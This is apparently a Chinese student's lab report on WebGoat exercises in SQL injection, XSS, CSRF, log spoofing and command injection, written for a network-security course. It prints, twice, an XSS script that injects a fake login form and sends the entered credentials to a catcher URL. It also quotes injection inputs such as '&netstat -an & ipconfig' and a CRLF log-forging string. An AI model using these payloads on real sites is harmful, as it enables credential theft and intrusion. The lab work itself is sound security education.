标签:l命令 制作 语句 site sql 站点 javascrip 问控制 访问控制
本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
如KALI IP为192.168.43.145,则地址为http://192.168.43.145:8080/WebGoat
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。如通过在用户名、密码登输入框中输入一些‘,--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。
- 您的目标是使其成为用户名“admin”成功登录。
- 通过向日志文件添加脚本来提升攻击。
全称为跨站脚本攻击,是一种网站应用程序的安全漏洞攻击。攻击者通过往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
完成本次实验需要搜索框能够支持插入html,并能执行javascript的脚本,大概流程如下:
- 插入账号密码输入框的html
- 将用户点击提交submit执行脚本语言,将内容提交给http:// localhost:8080 / WebGoat / catcher?PROPERTY = yes ...
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://192.168.43.145:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
将脚本代码等当做普通文本存储,用户读取时执行
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://192.168.43.145:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
emmm,其实就是上个代码,没想到吧
验证服务器端的所有输入始终是一个好习惯。在HTTP响应中使用未经验证的用户输入时,可能会发生XSS。在反映的XSS攻击中,攻击者可以使用攻击脚本制作URL并将其发布到其他网站,通过电子邮件发送或以其他方式让受害者点击它。
跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。
实验更好的认识到了XSS攻击、SQL注入以及CSRF,如果只是跟着走的话是比较枯燥的,重要的在于理解,比如插入命令只能插 &netstat -an & ipconfig吗,记录欺骗webgoat%0d%0aLogin Succeeded for username: admin,webgoat,以及后面的字可以改吗,这都是非常显而易见的问题。更多的思考,才能够加深理解,这非常重要(首先你不理解你就验收不了,嘿嘿)。
2018-2019-2 网络对抗技术 20165216 Exp9 Web安全基础
标签:l命令 制作 语句 site sql 站点 javascrip 问控制 访问控制
原文地址:https://www.cnblogs.com/qq2497879550/p/10926516.html